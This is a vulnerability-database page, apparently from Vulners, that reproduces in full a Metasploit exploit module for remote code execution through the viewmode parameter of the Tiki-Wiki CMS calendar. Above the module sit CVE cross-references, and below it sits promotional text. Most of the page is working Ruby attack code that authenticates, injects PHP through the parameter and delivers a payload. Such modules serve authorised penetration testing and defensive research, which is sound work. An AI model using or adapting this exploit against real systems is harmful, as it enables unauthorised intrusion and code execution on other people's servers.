Lucene search
+L

Tiki-Wiki CMS Calendar Command Execution

🗓️ 06 Jun 2016 00:00:00Reported by h00die <[email protected]>, Dany OuelletType 
metasploit
 metasploit
🔗 www.rapid7.com👁 104 Views

Tiki-Wiki CMS Calendar Command Execution vulnerability in viewmode GET parameter allows remote code execution. Versions <=14.1, <=12.4 LTS, <=9.10 LTS, and <=6.14 are vulnerable

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2025-34113
15 Jul 202513:09
attackerkb
circl
Circl
CVE-2025-34113
29 May 201815:50
circl
cnnvd
CNNVD
Tiki Wiki CMS 安全漏洞
15 Jul 202500:00
cnnvd
cve
CVE
CVE-2025-34113
15 Jul 202513:09
cve
cvelist
Cvelist
CVE-2025-34113 Tiki Wiki CMS Authenticated Command Injection in Calendar Module
15 Jul 202513:09
cvelist
euvd
EUVD
EUVD-2025-21426
3 Oct 202520:07
euvd
nvd
NVD
CVE-2025-34113
15 Jul 202513:15
nvd
openvas
OpenVAS
TikiWiki Calendar RCE Vulnerability - Active Check
23 Jun 201600:00
openvas
ptsecurity
Positive Technologies
PT-2025-29555 · Unknown · Tiki Wiki Cms
15 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-34113
17 Jul 202513:57
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tiki-Wiki CMS Calendar Command Execution',
        'Description' => %q{
          Tiki-Wiki CMS's calendar module contains a remote code execution
          vulnerability within the viewmode GET parameter.
          The calendar module is NOT enabled by default.  If enabled,
          the default permissions are set to NOT allow anonymous users
          to access.

          Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
          Verified/Tested against 14.1
        },
        'Author' => [
          'h00die <[email protected]>', # module
          'Dany Ouellet' # discovery
        ],
        'References' => [
          [ 'CVE', '2025-34113' ],
          [ 'EDB', '39965' ],
          [ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w(php),
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-06-06',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']),
        OptString.new('USERNAME', [ true, 'Username of a user with calendar access', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password of a user with calendar access', 'admin'])
      ], self.class
    )
  end

  # returns cookie regardless of outcome
  def authenticate
    begin
      # get a cookie to start with
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
        'method' => 'GET'
      )

      if res && res.code == 404
        fail_with(Failure::Unknown, 'Target does not have tiki-login_scr.php')
      end

      cookie = res ? res.get_cookies : ''
      # if we have creds, login with them
      vprint_status('Attempting Login')
      # the bang on the cgi will follow the redirect we receive on a good login
      res = send_request_cgi!(
        'uri' => normalize_uri(target_uri.path, 'tiki-login.php'),
        'method' => 'POST',
        'ctype' => 'application/x-www-form-urlencoded',
        'cookie' => cookie,
        'vars_post' =>
          {
            'user' => datastore['USERNAME'],
            'pass' => datastore['PASSWORD'],
            'login' => '',
            'stay_in_ssl_mode_present' => 'y',
            'stay_in_ssl_mode' => 'n'
          }
      )
      # double check auth worked and we got a Log out on the page.
      # at times I got it to auth, but then it would give permission errors
      # so we want to try to double check everything is good
      if res && res.body !~ /Log out/
        fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      end
      vprint_good("Login Successful")
      return cookie
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  # sends the calendar packet, returns the HTTP response
  def send_calendar_packet(cookie, data)
    begin
      return send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'),
        'method' => 'GET',
        'cookie' => cookie,
        'vars_get' =>
        {
          'viewmode' => "';#{data};$a='"
        }
      )
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  # Version numbers are post auth, so we send a print statement w/
  # 10 random characters and check for it in the response
  def check
    if datastore['USERNAME'] && !datastore['USERNAME'].blank?
      cookie = authenticate
    end

    flag = Rex::Text.rand_text_alpha(10)
    res = send_calendar_packet(cookie, "print(#{flag})")

    if res
      if res.body =~ /You do not have permission to view the calendar/i
        fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
      elsif res.body =~ />#{flag}</
        Exploit::CheckCode::Vulnerable('The target is vulnerable')
      else
        Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end
  end

  def exploit
    if datastore['USERNAME'] && !datastore['USERNAME'].blank?
      cookie = authenticate
    end

    vprint_status('Sending malicious calendar view packet')
    res = send_calendar_packet(cookie, payload.encoded)
    if res && res.body =~ /You do not have permission to view the calendar/i
      fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jun 2016 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 48.7
EPSS0.021
SSVC
104